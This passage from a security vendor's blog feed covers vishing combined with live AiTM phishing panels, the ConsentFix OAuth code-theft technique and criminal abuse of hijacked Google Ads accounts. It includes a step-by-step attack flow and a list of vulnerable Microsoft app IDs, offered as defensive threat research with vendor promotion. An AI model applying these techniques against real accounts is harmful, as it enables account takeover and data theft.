</p><p><a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/"><u>SLH and it’s precursor groups</u></a> leveraged vishing to great success in the form of help desk impersonation and password/MFA reset attacks as seen in the high profile Marks &amp; Spencer, Co-Op, and Jaguar Land Rover attacks in 2025, as well as the Caesars and MGM attacks in 2023. MFA-bypassing phishing techniques have also long been a part of their arsenal, from the 2022 0ktapus phishing campaign to more recent use of modern AiTM phishing kits. </p><p>But until now, we haven’t seen them used together. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/415gvGUy6Ywr2zofY8Phpk/dc9a8461ef07c041fef4a7fb39d0a25b/Screenshot_2026-02-25_at_09.50.56.png" alt="Big picture view of Scattered Lapsus$ Hunters breaches since 2021."/><figcaption>Big picture view of Scattered Lapsus$ Hunters breaches since 2021.</figcaption></figure><p>Get the background on Scattered Lapsus$ Hunters, and how they relate to Scattered Spider, Lapsus$, ShinyHunters, and other Com-affiliated groups in our recent deep dive, unpacking related breaches dating back to 2021 <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/"><u>in our recent blog post</u></a>.</p><p>It makes sense to combine these methods. AiTM phishing kits are flexible, highly customizable, and can be used to target a broad range of apps — including all of the major IdP platforms used for SSO. Vishing on the other hand is proven to increase the effectiveness of social engineering attacks when performed by an effective operator — which SLH are proven to be (helped by predominantly native English speakers making up their membership, along with the use of effective voice phishing tools). </p><p>Both vishing and AiTM phishing are identity-first methods that consciously evade traditional security tools and detection controls at the endpoint and network layer. This makes them highly effective in today’s IT environment. </p><h2><b>A new kind of operator-driven AiTM kit</b></h2><p>Another unique part about this campaign is that it uses a “live phishing panel” — i.e. a customizable phishing page controlled by the attacker in real time. This enables attackers to dynamically change what a victim sees on a phishing site while speaking to them on the phone. This allows them to guide victims through each step of the login and MFA authentication process.</p><p>This is principally to increase the victim’s likelihood of engaging with the phishing page. As you can see in the image below, there are several options that can be presented to the victim — including not just the normal phishing stages of entering credentials and passing MFA checks, but also post-compromise actions (e.g. creating a passkey that would then be controlled by the attacker for persistent access even if an account password is reset). </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3IvcYr8sCMsCbhnzG9OzJA/35e3bdcf6dcddb3c431600afe490fe7e/image5.png" alt="What the operator sees in their phishing dashboard."/><figcaption>Phishing dashboard view provided by Okta Threat Intelligence.</figcaption></figure><p>At the end of the authentication flow, the threat actor can choose to redirect their target to a “support ticket&quot; closure screen. This allows the threat actor to manually terminate the session once the compromise is complete while providing the targeted user with context that matches the &quot;IT support&quot; ruse. This further reduces the likelihood of post-hoc reporting by a suspicious victim.</p><p>Given that this modular, operator-controlled phishing kit is reportedly available “<a href="https://www.okta.com/blog/threat-intelligence/phishing-kits-adapt-to-the-script-of-callers/"><u>as a service</u></a>” for criminals, we should expect to see much more of this in future. </p><h2><b>0ktapus 2.0?</b></h2><p>As we mentioned earlier, Scattered Spider made their reputation launching phishing attacks against Okta accounts in the 2022 0ktapus campaign. </p><p>The vast majority of phishing attacks target IdP accounts because of the widespread access to downstream apps they grant via SSO. </p><p>This comes at the same time as <a href="https://www.bleepingcomputer.com/news/security/fake-lastpass-emails-pose-as-password-vault-backup-alerts/"><u>attackers running campaigns to target LastPass master passwords</u></a>. This provides a similar level of access to apps in the form of credentials (and sometimes saved passkeys). </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/31RIcvGgLz2fmHBYsZyEV5/4326e200aa8ba9879257c2f9b643cf08/image1.png" alt="SSO panel examples in Entra and Okta."/><figcaption>SSO panel examples in Entra and Okta.</figcaption></figure><p>Not only is this a goldmine for attackers looking to steal data or pivot to other systems to be able to launch further attacks (e.g. pivoting to cloud and on-prem services for ransomware deployment) but it’s a nightmare for incident responders. If an attacker can access an app and create a backdoor login method (AKA. a <a href="https://pushsecurity.com/blog/ghost-logins-when-forgotten-identities-come-back-to-haunt-you/"><u>ghost login</u></a>) it can be very difficult for a security team to identify and clean them up. </p><p><a href="https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft">Mandiant has reported</a> how the attacker opportunistically pivots across accessible SaaS platforms (SharePoint, Salesforce, DocuSign, Slack), hunting for specific strings like “poc,” “confidential,” “salesforce,” and “vpn.” Notable tradecraft includes using ToogleBox Recall to delete MFA enrollment notifications from victims’ inboxes and leveraging PowerShell to bulk-download SharePoint content routed through commercial VPN services like Mullvad, Oxylabs, and NetNut. Check out their blog post for some example SaaS activity logs that can be used to investigate a potential compromise. </p><p>Check out the excerpt from one of our recent webinars below for more information. </p><hr/><h1><b>Impact analysis</b></h1><p>This combination of methods is likely to increase the success of these malicious campaigns as well as reducing the likelihood of detection. </p><p>It’s well documented that modern phishing attacks use a wide and ever-expanding range of <a href="https://pushsecurity.com/blog/phishing-detection-evasion-launch/"><u>detection evasion techniques</u></a> — from implementing legitimate bot protection technologies to prevent analysis, to only loading pages if the correct parameters are met — such as coming through a specific URL redirect path, and adhering to “normal” browser configs (excluding unusual browser window sizes and the presence of security analysis tools).</p><p>In this case, the malicious payload will only trigger in the event that the delivery is approved by an operator in real time. This means that anyone attempting to find and proactively block a phishing page based on indicators of known-bad is going to have a tough time finding and flagging them. If you haven’t got a community of security analysts sharing and tagging samples of malicious pages, it makes it really hard to find and block them at scale before they hit a victim. And if these convincing attacks aren’t being reported, they’re even less likely to be investigated. This is what we mean when we say that most phishing attacks today are effectively zero-day. </p><p>In this case, it’s worth pointing out that the phone call is essentially the delivery vector for the phishing page. This means there’s no email to intercept and analyse. This isn’t new — <b>non-email vectors now account for more than 1 in 3 phishing attacks intercepted by Push</b>, <a href="https://pushsecurity.com/blog/2025-top-phishing-trends/"><u>LinkedIn and Google Search being the top culprits</u></a>. This effectively cuts out the primary phishing detection surface for most organizations.</p><p>All this means that unless you’re able to detect and block these attacks in real time, organizations will find themselves unable to counter this evolving threat. </p><p><b>The best/only way to do that is to be in the browser. </b></p><hr/><h1><b>How Push stops the attack</b></h1><p>As a browser-based detection and response tool, Push is perfectly positioned to detect and block attacks like this in real-time. </p><p>Push harnesses deep browser telemetry to detect and block phishing based on behaviors, not static indicators. By analyzing how phishing pages behave and how users interact with them, Push uncovers fake pages, attempted credential theft, and phishing kits the moment they load in the browser — regardless of the delivery mechanism, and even when the attack has never been seen before. </p><p>This even includes brand new techniques that have never been seen in the wild — such as <a href="https://pushsecurity.com/blog/consentfix-debrief/"><u>ConsentFix</u></a>, which we blocked the first time it was seen targeting our customers, before even realizing it was a new kind of attack.</p><p>Push&#39;s browser-based controls include:</p><ul><li><p><a href="https://pushsecurity.com/blog/introducing-sso-password-protection/">Fingerprinting high-risk app passwords</a> so they can only be used on a specific domain. Any attempt to reuse this password elsewhere (such as on a phishing site) results in the attempt being blocked. </p></li><li><p><a href="https://pushsecurity.com/blog/detecting-and-blocking-phishing-attacks-in-the-browser/">Multiple browser-based checks</a> looking for indicators of bad, such as cloned elements from legitimate websites, and an ever-growing number of detections relating to phishing kit behaviors and attributes as they are rendered on a page. </p></li></ul><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6InFhVkJJOPhsojQoub04K/b43e32cfa0bdc423dc993e930ebe1ae2/image1.png" alt="Push blocks phishing pages using real-time, in-browser analysis — shutting the attack down before a compromise happens. "/><figcaption>Push blocks phishing pages using real-time, in-browser analysis — shutting the attack down before a compromise happens.</figcaption></figure><p>Because Push observes every login made in the browser, you can also use Push to find identities susceptible to phishing attacks, such as those not using phishing-resistant authentication methods (e.g. passkeys), to proactively improve your account hygiene and reduce your attack surface. </p><p>Finally, you can also use our <a href="https://pushsecurity.com/blog/employee-identity-verification-codes-release/"><u>employee verification codes</u></a> feature as part of a layered defense — a simple, browser-based identity check that gives your employees a reliable way to confirm they’re talking to another employee from your organization. It enables employees to quickly verify that a caller is who they say they are by relaying a rotating 6-digit verification code displayed in every employee&#39;s browser via the Push extension. This is an effective way of combating <a href="https://pushsecurity.com/blog/scattered-spider-defending-against-help-desk-scams/"><u>help desk scams</u></a> too — another favorite of SLH. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/41X6fkPJgqf14vO3O14TF3/e0cecdbdfaee1353f15ff77ecb6a55a8/Employee_verification_codes.png" alt="Employee Verification Codes"/><figcaption>Push provides a lightweight verification feature in every user’s browser — no additional apps or devices required.</figcaption></figure><blockquote><p>Want to learn more about Push? <a href="https://pushsecurity.com/resources/product-brochure"><u>Check out our latest product overview</u></a>, <a href="https://pushsecurity.com/product-demo/">visit our demo library</a>, or <a href="https://pushsecurity.com/demo"><u>book some time with one of our team for a live demo</u></a>.</p></blockquote><p></p>]]></content:encoded>
    </item>
    <item>
      <title>ConsentFix debrief: latest community insights, recommendations, and predictions</title>
      <link>https://pushsecurity.com/blog/consentfix-debrief</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/consentfix-debrief</guid>
      <pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Detection &amp; response</category>
      <category>Browser-based attacks</category>
      <description>New insights on the ConsentFix campaign stopped by Push.</description>
      <content:encoded><![CDATA[<p>In December, the Push Security research team discovered and blocked a brand new attack technique that we coined <a href="https://pushsecurity.com/blog/consentfix/"><u>ConsentFix</u></a>. This technique merged ClickFix-style social engineering with OAuth consent phishing to hijack Microsoft accounts. </p><p>We saw this attack running across a large network of compromised websites that attackers were injecting the malicious payload into, forming a large-scale campaign that was detected across multiple customer estates. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3FyJ6MHYvAi7z9O7LahUer/ac4384da808287779f1e1f622186dcbc/1.png" alt="“ConsentFix” phishing site detected and blocked by Push. "/><figcaption>“ConsentFix” phishing site detected and blocked by Push.</figcaption></figure><p>ConsentFix got a pretty awesome response from the community in a very short space of time. Within days, <a href="https://www.youtube.com/watch?v=AAiiIY-Soak"><u>John Hammond shared a new and improved version of the technique</u></a> that he’d spun up in his own lab, while security researchers from <a href="https://medium.com/@nitashathakur/consentfix-poc-how-the-attack-works-end-to-end-4f8b656f977d"><u>Microsoft</u></a>, <a href="https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix"><u>Glueck Kanja</u></a>, and <a href="https://msendpointmgr.com/2026/01/08/consentfix-quickfix/"><u>other individual contributors</u></a> all shared analysis and recommendations. </p><p>In this blog, we’re sharing some new insights on the campaign, pulling together some of the top recommendations and resources shared across the community, and predicting what the future holds for this novel technique as it quickly enters the mainstream. </p><p>First though, let’s quickly recap what ConsentFix is and how it works. </p><hr/><h1><b>ConsentFix 101</b></h1><p>ConsentFix is an attack technique that prompts the victim to share an OAuth authorization code with an attacker via a phishing page. The attacker then enters this code into a target application on their own device in order to complete the authorization handshake and take over the account. </p><p>By hijacking OAuth, attackers can effectively bypass identity-layer controls like passwords and MFA — even phishing resistant authentication methods like passkeys have no impact on this attack, because it sidesteps the authentication process altogether. </p><p>OAuth abuse attacks are not new. Techniques like <a href="https://github.com/pushsecurity/saas-attacks/blob/main/techniques/consent_phishing/description.md"><u>consent phishing</u></a> and <a href="https://github.com/pushsecurity/saas-attacks/blob/main/techniques/device_code_phishing/description.md"><u>device code phishing</u></a> have been around for some time. However, these mainly focus on connecting your primary workspace account (e.g. Microsoft, Google, etc.) to a fraudulent, attacker-controlled application. But this is becoming increasingly difficult in core enterprise cloud environments like Azure due to <a href="https://learn.microsoft.com/en-us/microsoft-365/admin/misc/user-consent?view=o365-worldwide"><u>stricter default configs</u></a>. That said, device code phishing still featured prominently in the recent <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/"><u>high-profile Salesforce attacks in 2025</u></a>.</p><h2><b>What makes ConsentFix so dangerous?</b></h2><p>Unlike typical OAuth attacks, the novel ConsentFix approach enabled the attacker to target different types of application to what they usually go after — with big implications for detection and response. In this case, the attacker:</p><ul><li><p>Specifically targeted first-party Microsoft apps that cannot be restricted in the same way as third-party applications, and are pre-consented in every tenant (meaning users can authenticate to them without admin approval). </p></li><li><p>Leveraged legacy scopes that are outside the scope of default logging to evade detection, and targeted scopes with known Conditional Access policy exclusions.</p></li></ul><p>This means that default controls you’d expect to block malicious OAuth grants don’t apply, you may not have logging enabled to detect it if it did happen to you, and to top it off, conditional access policy exclusions mean that many organizations’ expected controls don’t work as intended in this case. </p><hr/><h1><b>ConsentFix campaign recap</b></h1><p>Let’s quickly recap how the ConsentFix campaign was implemented. </p><p>The victim is served a page which requires that they verify that they are human by pasting a URL into the phishing page.</p><p>Clicking the “Sign In” button opens a legitimate Microsoft login page. If the user is already logged in (which they likely are if working in their normal browser) their account information is already pre-populated and they won’t need to authenticate again. </p><p>Selecting their account redirects them to a localhost URL containing an OAuth authorization code — this is what they then post into the original phishing page to complete the attack. </p><p>Once the attacker gets the URL, they can exchange it for an access token or refresh token for the particular application being targeted — in this case, Azure CLI.</p><p>The TL;DR is that the attacker is manually completing an authorization flow that happens when a user logs into Azure CLI — a a command line client that provides you with the ability to easily manage your Azure AD / Entra ID environment. Except in this case, they’re taking the victim’s information to log in on the attacker’s device instead. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7x6SiBWarYH3w4nPfjtf7r/4c1dd037b9ad47ccbba0a87256ecd909/2.png" alt="ConsentFix attack breakdown."/><figcaption>ConsentFix attack breakdown: The victim is tricked into copy-and-pasting a URL containing OAuth key material into a phishing page.</figcaption></figure><h2><b>Latest campaign details</b></h2><p>Since we shared our blog post, we’ve had a number of additional details come to light about the campaign, which we’ve continued to track. </p><p>It appears to be linked to Russian state-affiliated APT29, as corroborated by threat researchers we’ve been collaborating with. This is consistent with the <a href="https://pushsecurity.com/blog/consentfix/"><u>stealthy tactics we observed</u></a>, which go far beyond the run-of-the-mill detection evasion techniques we see used in criminal phishing campaigns. </p><p>It shares many similarities with, and appears to be an evolution of, <a href="https://www.volexity.com/blog/2025/12/04/dangerous-invitations-russian-threat-actor-spoofs-european-security-events-in-targeted-phishing-attacks/"><u>this Russia-affiliated campaign identified by Volexity</u></a> that featured a manual version of the attack — where they victim was social engineered via email into opening the Microsoft URL, copying the localhost response, and sending it back to the attacker via email. </p><hr/><h1><b>Top contributions from the community</b></h1><p>As we mentioned earlier, the community response to ConsentFix has been incredible. </p><p>As ever, you get a lot of vendors covering the attack technique with “install our product” as the recommendation. This is to be expected, but it’s misleading when some of these vendors are pushing EDR products that would have absolutely no way of detecting or blocking the attack. </p><p>But cutting through the marketing, a lot of really great resources and recommendations were shared. </p><h2><b>V2.0 released by John Hammond</b></h2><p>Within days, John Hammond <a href="https://www.youtube.com/watch?v=AAiiIY-Soak"><u>posted about ConsentFix on his Youtube channel</u></a>, where he showed off a slick improvement on the ConsentFix implementation used by attackers. In his version, the URL containing the Microsoft authorization code was generated in a pop-up browser window that could simply be drag-and-dropped into the phishing page. </p><p>This implementation is way smoother, making it much more likely that a victim would fall for it. And this took a matter of days… </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1bjvJgwJQYYITray4cgquD/056744beab8fd24153b1c42b73090aeb/consentfix_v2.gif" alt="John Hammond showed off a slick new ConsentFix implementation."/><figcaption>John Hammond showed off a slick new ConsentFix implementation.</figcaption></figure><h2><b>Additional vulnerable first-party apps identified</b></h2><p>Fabian Bader and Dirk-jan Mollema from Glueck Kanja have <a href="https://entrascopes.com/?bypass=true&authcodeFix=true"><u>shared a great resource</u></a> on wider first-party apps that are vulnerable to ConsentFix. </p><p>In total, there are 11 apps vulnerable to ConsentFix that also have known <a href="https://cloudbrothers.info/conditional-access-bypasses/#documented-bypasses"><u>Conditional Access exclusions</u></a> (either for the app generally, or when specific scopes are requested for the app):</p><ul><li><p>Microsoft Azure CLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46</p></li><li><p>Microsoft Azure PowerShell: 1950a258-227b-4e31-a9cf-717495945fc2</p></li><li><p>Microsoft Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264</p></li><li><p>Microsoft Whiteboard Client: 57336123-6e14-4acc-8dcf-287b6088aa28</p></li><li><p>Microsoft Flow Mobile PROD-GCCH-CN: 57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0</p></li><li><p>Enterprise Roaming and Backup: 60c8bde5-3167-4f92-8fdb-059f6176dc0</p></li><li><p>Visual Studio: 872cd9fa-d31f-45e0-9eab-6e460a02d1f1</p></li><li><p>Aadrm Admin Powershell: 90f610bf-206d-4950-b61d-37fa6fd1b224</p></li><li><p>Microsoft SharePoint Online Management Shell: 9bc3ab49-b65d-410a-85ad-de819febfddc</p></li><li><p>Microsoft Power Query for Excel: a672d62c-fc7b-4e81-a576-e60dc46e951d</p></li><li><p>Visual Studio Code: aebc6443-996d-45c2-90f0-388ff96faa56</p></li></ul><hr/><h1><b>Predictions for ConsentFix</b></h1><p>Based on the speed at which new iterations on the ConsentFix technique were shared by security researchers, and the breadth of apps and possible scopes that can be leveraged, both red teams and criminals will inevitably adopt ConsentFix into their arsenal of TTPs in the near future. It is likely that new ConsentFix variants will emerge imminently (if not already in circulation). </p><p>All security teams responsible for protecting Microsoft environments should ensure that monitoring controls and mitigations are put in place as a matter of high priority. </p><hr/><h1><b>Updated recommendations for security teams</b></h1><p>As an entirely browser-native attack technique, many traditional security tools and data sources are of limited use when it comes to detecting or pre-emptively blocking this attack. At the same time, the attack exploits default Microsoft security configs to evade both prevention and detection controls.</p><p>To be able to tackle modern attacks like ConsentFix that occur entirely within the browser context, it is vital that organizations look to monitor the browser as a detection surface, hunt for signs of malicious activity, and block attacks in real-time — in the same way that you would expect EDR to work for endpoint attacks. </p><p>For organizations relying on Microsoft logging as the sole line of defense against this attack, there are some new recommendations to add to the list thanks to the community response: </p><ul><li><p>Ensure that logging for the deprecated <a href="https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/aadgraphactivitylogs"><u>AADGraphActivityLogs</u></a> is enabled.</p></li><li><p>Hunt in logs for the Application IDs highlighted above, along with the Resource IDs for Windows Azure Active Directory (00000002-0000-0000-c000-000000000000) and Microsoft Intune Checkin (26a4ae64-5862-427f-a9b0-044e62572a4f)</p></li><li><p><a href="https://msendpointmgr.com/2026/01/08/consentfix-quickfix/"><u>Create Service Principals for each of the vulnerable apps and restrict the users that are authorized to access them</u></a> to reduce the attack surface of users that can be phished with this method.</p></li><li><p>Block access to CLI tools via Conditional Access policy and issue exclusions for authorized users/groups. </p></li></ul><p>Additional resources that may be of use include community-created <a href="https://github.com/elastic/detection-rules/pull/5485"><u>Elastic detection rules</u></a> for ConsentFix and further mitigation and hunting guidance from <a href="https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix"><u>Glueck Kanja</u></a>. </p><hr/><h1><b>Learn more about Push Security</b></h1><p>Even though this was a brand new technique, Push intercepted this attack and shut it down before customers could interact with it. </p><p>Push tackles browser-based attacks using behavioral threat detection controls, powered by deep browser telemetry, to provide broad detection and blocking capabilities against attacks happening in the browser. This means analyzing the end-to-end process of a webpage loading/running in the browser, and how the user interacts with the page, to spot universal indicators of bad activity. </p><p>This is the only reliable way to detect malicious websites in a world where IoC-based detections are trivial for attackers to get around. Rather than playing known-bad whac-a-mole, Push detects and blocks even zero-day browser threats in real time.</p><p>Push stops browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, ConsentFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.</p><p>To learn more about Push, <a href="https://pushsecurity.com/resources/product-brochure"><u>check out our latest product overview</u></a> or <a href="https://pushsecurity.com/demo"><u>book some time with one of our team for a live demo</u></a>.</p><p></p>]]></content:encoded>
    </item>
    <item>
      <title>How cyber criminals power malvertising scams with stolen accounts</title>
      <link>https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis</guid>
      <pubDate>Mon, 12 Jan 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>Attackers are going out of their way to target Google Ad Manager accounts, powering malvertising scams. Here’s what you need to know.</description>
      <content:encoded><![CDATA[<p>In recent months, we’ve seen a significant increase in the number of attacks targeting ad manager accounts. These attacks range from phishing campaigns against marketing professionals to malicious sites impersonating legitimate marketing tools — ultimately serving up an Attacker-in-the-Middle (AITM) phishing page designed to steal the victim’s Google account. </p><p>Most recently, we reported on:</p><ul><li><p>A campaign running <a href="https://pushsecurity.com/blog/analysing-a-malvertising-attack-targeting-business-google-accounts/"><u>fake malvertising ads for “Google Ads”</u></a> in Google Search. </p></li><li><p>A campaign using sophisticated <a href="https://pushsecurity.com/blog/uncovering-a-calendly-themed-phishing-campaign/"><u>Calendly-themed phishing lures</u></a> targeting marketing professionals.</p></li><li><p>A continuation of the Google Ads malvertising campaign, <a href="https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs">this time impersonating Ahrefs</a>. </p></li></ul><hr/><h1><b>Why are attackers targeting ad manager accounts?</b></h1><p>Ad Manager accounts on platforms like Google, Facebook, and LinkedIn have become lucrative targets for cybercriminals. By compromising these accounts, attackers can exploit the digital advertising ecosystem in various ways for financial gain. </p><p>The ad industry’s scale makes it attractive to fraud. Estimates suggest digital ad fraud cost advertisers tens of billions, potentially nearing $100 billion or more, with projections reaching $172 billion by 2028.</p><p>A hijacked Google Ad Manager account gives attackers access to significant ad spend and account data which can be monetized. The tactics range from stealthy ad fraud to overt abuse like malicious ads or extortion schemes.</p><p>Here’s how attackers can profit from a compromised ad manager account — and how it impacts your business. </p><hr/><h2><b>Malvertising</b></h2><p>Arguably the most dangerous use of a compromised ad manager account is to conduct <b>malvertising</b> – inserting malicious ads or redirects in place of legitimate advertisements. </p><p>Malvertising scams happen across lots of different sites, but the most common platform we see targeted is Google Search. This takes advantage of users browsing to find a website and clicking the first link that appears — in this case a fake sponsored link taking you to the attacker’s page. </p><p>The goal here is usually to compromise more devices and accounts, via:</p><ul><li><p>AITM phishing sites looking to hijack sessions on valuable accounts — usually enterprise SSO accounts such as Google or Microsoft, but also many high-value SaaS services, as well as logins for banking and cryptocurrency sites.. </p></li><li><p>Deploying infostealer malware, harvesting credentials and user sessions from the compromised device to enable broad access to apps via compromised accounts. </p></li><li><p>Running <a href="https://pushsecurity.com/blog/the-most-advanced-clickfix-yet/"><u>ClickFix</u></a>-style social engineering scams prompting users to perform a malicious action (typically running code on their device, although a new browser-native version of this attack in the form of <a href="https://pushsecurity.com/blog/consentfix/"><u>ConsentFix </u></a>was recently discovered by Push researchers).</p></li><li><p>Infecting machines with malicious software to siphon compute power for cryptomining or adding the device to a botnet used in DDOS attacks. </p></li></ul><p>Harvested data can be used by the attacker directly to conduct cyber attacks, but is more commonly sold on to other criminals further up the supply chain. So, attackers are using compromised ad accounts, to take over more accounts used to manage ads, to take over even more accounts… You can see how this can quickly snowball into something hugely profitable for attackers. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3iUNORa8hHXi68kZAsFxi8/1a742458ae768bc14a1ba1f6cf26de41/image1.png" alt="Propagation of malvertising"/><figcaption>It’s easy to see how malicious ads can propagate and turn into more malicious ads, leading to more campaigns impersonating more brands, more account compromises, and so on.</figcaption></figure><p>Malvertising scams don’t just target ad manager accounts either. They can be found targeting all manner of sites. But all malvertising scams are underpinned by ad spending — so it makes sense that attackers are looking to harvest account access and make use of the pre-allocated marketing spend of their victims. </p><p>Large enterprises spend vast amounts on Google Ads, often starting at $20,000+ per month, with major brands sometimes spending $40 to $50 million annually, depending heavily on their competitive industry. So, there’s a lot to play with for an attacker — and it might be some time before a discrepancy is noticed by the victim. </p><hr/><h2><b>Ad fraud</b></h2><p>One of the most common motives for hacking ad accounts is ad fraud – generating fake ad impressions or clicks to illicitly collect advertising revenue. By hijacking a Google Ad Manager account, criminals can direct the account’s ad spend to their own fraudulent web pages.</p><p>When a Google Ads/Ad Manager account is compromised, attackers can create new campaigns or modify existing ones. By directing traffic to websites the criminals control (often low quality sites made specifically for advertising) the victim’s ad budget can be funnelled into the attackers’ pockets as ad revenue.</p><p>The hijacked ad accounts provide a means to introduce fraudulent traffic into legitimate ad ecosystems, often escaping immediate detection thanks to the account’s established trust or high spending thresholds. For example, a compromised account with a large budget can run thousands of ads pointing to fraudulent sites before being flagged. </p><p>This is often abused as a channel for money laundering. An attacker can inject dirty money into the ad ecosystem (for example, using a compromised advertiser account’s billing) and then receive clean money out the other end (as payments to a publisher or ad partner account they control). </p><p>In late 2025, agencies noticed a surge of Google Ads account takeovers where hackers ran unauthorized campaigns until budgets were exhausted. <a href="https://cloud.google.com/blog/topics/threat-intelligence/vietnamese-actors-fake-job-posting-campaigns"><u>Google’s Threat Analysis Group found a cluster of Vietnamese actors</u></a> who hijacked marketing accounts to <b>“either sell ads to other actors, or sell the accounts themselves”</b> for profit. </p><p>Similarly, a series of attacks on companies managing ads <a href="https://www.adexchanger.com/online-advertising/people-managing-google-ad-campaigns-are-getting-their-accounts-seized-by-scammers/"><u>reported that their accounts had been hacked as early as January 2025</u></a>. These attacks were linked to <a href="https://www.malwarebytes.com/blog/news/2025/01/the-great-google-ads-heist-criminals-ransack-advertiser-accounts-via-fake-google-ads"><u>South American scam operations by MalwareBytes</u></a> — likely the same group behind <a href="https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs">the attacks we recently identified</a>. </p><hr/><h2><b>Selling or sharing access with other criminal groups </b></h2><p>Stolen advertising accounts themselves have become a commodity in the underground economy. Instead of (or in addition to) exploiting the account personally, a hacker might sell access to the compromised Ad Manager account on criminal forums. </p><p>There is strong demand for reputable ad accounts because they come with advantages: high spending limits, established credit card billing, a history of compliance (making them less likely to be flagged by Google’s fraud detection), and existing relationships with ad networks or clients. In other words, a hijacked account is a ready-made vehicle for anyone looking to run malicious ad campaigns without going through the usual vetting.</p><p>Access to a Google Ads account (especially one with a good track record or high credit threshold) can fetch a significant price in criminal markets. Compromised Google ad accounts have shown up for sale on hacker forums and darknet markets, often advertised with details like the account’s age, billing history, or spend limit. For example, a hacker on one forum might sell or rent a “2-year-old Google Ads account with $50k monthly spend history” for a price commensurate with its potential yield.</p><p>The previously mentioned <a href="https://cloud.google.com/blog/topics/threat-intelligence/vietnamese-actors-fake-job-posting-campaigns"><u>Vietnamese threat group</u></a> would <b>“either sell ads to other actors, or sell the accounts themselves to other actors to monetize”</b>. This means an attacker could use a compromised account as a platform to sell fraudulent ad placements (e.g. “pay us and we’ll run your ads via this legitimate account for X days”). If not, they just sell the whole account login to the highest bidder.</p><p>It’s also worth noting that a Google Ad Manager account is also an enterprise SSO account that can be used to access broader Google Workspace services, and any SaaS apps accessible via SSO. </p><p>Even if the victim isn’t predominantly a Google shop, a Google account using the same email as a different identity provider account (e.g. Microsoft) can still be used to access downstream apps via SSO. This is because most apps use the email itself as the identifier, while 3 in 5 allow you to access an account using a new login method without doing any further verification checks. <b>Read our </b><a href="https://pushsecurity.com/blog/cross-idp-impersonation/"><b><u>blog post on cross-IdP impersonation</u></b></a><b> for more information. </b></p><hr/><h2><b>Data theft and extortion</b></h2><p>Most ad accounts contain valuable data – like audience lists, conversion data, or payment info. Attackers could exfiltrate this data and extort the victim by threatening to leak it or sell it (though this borders on a data breach scenario, it’s another way to extort via an ad account hack, especially for large advertising agencies handling many clients’ data).</p><p>An attacker might also threaten to manipulate the account in ways that hurt the victim financially. For instance, they could create fake campaigns that burn through the budget on useless traffic (driving up costs with nothing to show, or even causing overcharges). They could also threaten to click-bomb the victim’s ads (if it’s an advertiser account) so that Google’s systems detect invalid activity and suspend the account. </p><p>For the victim, the cost of reputational damage or lost advertising time can far exceed the ransom demand, which is why some might contemplate paying. A large brand could lose consumer confidence or partner relationships if their ads serve malware for even a short time. Agencies managing several client ad accounts could face client complaints and legal liability if an attack spreads offensive ads via their accounts – such agencies have noted the “serious financial threats” and client dissatisfaction resulting from ad account breaches.</p><hr/><h1><b>Conclusion</b></h1><p>Pretty much every enterprise today advertises their services via Google ads — this makes attacks on these accounts a unanimous problem. Agencies managing numerous client accounts are put further at risk. For example, if an attacker can compromise an MCC account (used to manage several ad accounts) they get full access to the agency’s customer portfolio. </p><p>Organisations need to be on guard against both attacks on accounts used to manage ads, and malvertising in general — which is an incredibly prevalent threat and one of the top delivery vectors for phishing attacks today. Malvertising attacks delivered over channels like Google Search are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. </p><p>There’s a tendency to see malvertising as a more random attack, but Google Ads can be tuned to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. Even more precise ad targeting can be achieved on social media platforms. </p><p>Because these attacks completely circumvent the traditional phishing detection surface (email) and often happen entirely over the internet (meaning no endpoint security controls can come into play) the only way to reliably detect and stop these attacks is to intercept them where they happen — in the user’s web browser. </p><p>To learn more about how Push tackles browser-based threats, <a href="https://pushsecurity.com/resources/product-brochure"><u>check out our latest product overview</u></a> or <a href="https://pushsecurity.com/demo"><u>book some time with one of our team for a live demo</u></a>.</p><p></p>]]></content:encoded>
    </item>
    <item>
      <title>Google Search malvertising campaign continues, now impersonating Ahrefs</title>
      <link>https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs</guid>
      <pubDate>Mon, 12 Jan 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Detection &amp; response</category>
      <category>Browser-based attacks</category>
